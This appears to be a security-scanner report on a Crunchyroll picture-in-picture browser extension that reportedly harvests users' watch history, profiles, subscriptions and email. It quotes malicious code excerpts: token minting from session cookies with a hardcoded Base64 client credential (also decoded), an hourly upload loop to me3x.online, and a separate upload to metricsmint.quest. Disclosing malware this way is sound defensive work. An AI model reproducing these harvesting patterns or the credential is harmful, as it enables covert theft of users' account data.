Is Crunchyroll: Picture in Picture [QVI] safe?
The extension mints a token from your Crunchyroll session and sends your watch history, profiles, and subscription data to me3x.online.
On any Crunchyroll page, the content script reads your session cookies and uses a hardcoded Crunchyroll client secret to mint a bearer token, then calls Crunchyroll's private APIs to pull your profiles, full watch history, and subscription records. It forwards all of it to a third-party server, me3x.online, keyed to a persistent per-user ID, and repeats this every hour. Collection defaults to ON and is presented to users as 'anonymous feedback,' though the data sent is your real account watch-history and subscription information.
Who publishes itHideApp - 106 other listings from the same operator, 14 of them carrying a finding
HideApp - 106 other listings from the same operator, 14 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
39 other listings published from this account, 70k+ users between them. 3 of them carry a finding.
Same operator - 67 listings
Published under a different store account, but sharing the registered address, contact or declared legal entity this one gave the store.
Shared hosts - 1 hostname
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Crunchyroll watch history and account data transmitted to me3x.online
Logged into Crunchyroll, the extension reads your cookies, mints a bearer token with a hardcoded credential, and pulls watch history (2,000 titles max), profiles, and subscriptions, sending it hourly to me3x.online, a third party.
What actually happens
You visit any Crunchyroll page while logged in to your account.
The extension reads your cookies, mints a bearer token with a hardcoded Crunchyroll credential, fetches watch history, profiles, and subscriptions, and sends them to me3x.online.
The cycle repeats automatically every hour via setTimeout(3600000).
Data collected and transmitted to me3x.online
- Crunchyroll account IDU7E93F2D1A4
Your unique numeric account identifier, used to construct all private API request URLs.
- Profile IDP0A1B2C3D4E
The active profile within your account, passed to the token endpoint to scope the bearer token.
- Watch history (up to 2,000 titles)[{"id":"GRDQPM0ZY","title":"One Piece",...}]
The full list of content you have watched or started watching, including episode IDs and progress.
- Multi-profile list[{"profile_id":"P0A1B2C3D4E","profile_name":"Alice"}]
The names, IDs, and settings of every profile on your Crunchyroll account.
- Subscription details{"subscriptions":[{"type":"premium","status":"active"}]}
Your current and past Crunchyroll subscription plan records.
- Account email addressuser@example.com
Your Crunchyroll account email, sent via a separate upload to metricsmint.quest/up.
- Extension user IDext-8a3f21c04d
A persistent identifier created by the extension and sent alongside every upload.
The code that does this
OAuth harvest loop, crunchyroll.min.js
Token mint — getConfigTokens() calls buildTokensUrl() = https://www.crunchyroll.com/auth/v1/token
crunchyroll.min.js:5001options = { headers: { Authorization: "Basic bm9haWhkZXZtXzZpeWcwYThsMHE6", // base64 of 'noaihdevm_6iyg0a8l0q:' "Content-Type": "application/x-www-form-urlencoded" }, method: "POST", body: formData.toString() // grant_type=etp_rt_cookie&device_id=<cookie>};Upload loop — uploadSingleCommandData(data, commandId) called for each scraped dataset
crunchyroll.min.js:4432postPlainJsonRequest( `${BASE_ROUTE}crunchyroll/upload`, // BASE_ROUTE = 'https://me3x.online/n/' { ...data, commandId: commandId });Hourly re-run — runWithAuth() in CrunchyrollHunter
crunchyroll.min.js:7470// rerunTimeInterval = config_crunchyroll_namespaceObject.T3 = 3600000setTimeout(() => this.runWithAuth(task, rerunInterval), rerunInterval);Why you can't catch this in DevTools
The Crunchyroll OAuth client credential is Base64-encoded in the Authorization header of the token-mint POST request.
noaihdevm_6iyg0a8l0q:When this fires
Every 1 hour
After the initial scrape on page load, the extension reschedules itself to run every hour via setTimeout(3600000). The harvest runs once per hour for as long as any Crunchyroll tab is open.
Servers receiving Crunchyroll account data
- me3x.online
Receives the command list (POST /n/crunchyroll/start) and harvested data (POST /n/crunchyroll/upload): watch history, profiles, subscriptions. Not affiliated with Crunchyroll.
- metricsmint.quest
Receives the account email address and account ID via a separate POST to /up with a base64-encoded body (sendAdditionalProfileData).
What it can do
Permissions this extension asks for, as declared in version 1.0.15. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on crunchyroll.com
*://*.crunchyroll.com/*
Store data in your browser
storage
Where it sends data
Destinations our analysis observed Crunchyroll: Picture in Picture [QVI] contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- me3x.onlinewidely used
Crunchyroll: Picture in Picture [QVI] sends data to me3x.online. A widely used service: 58 other extensions we have analyzed send data here.
- www.crunchyroll.com
Crunchyroll: Picture in Picture [QVI] sends data to www.crunchyroll.com. One other extension we have analyzed sends data here.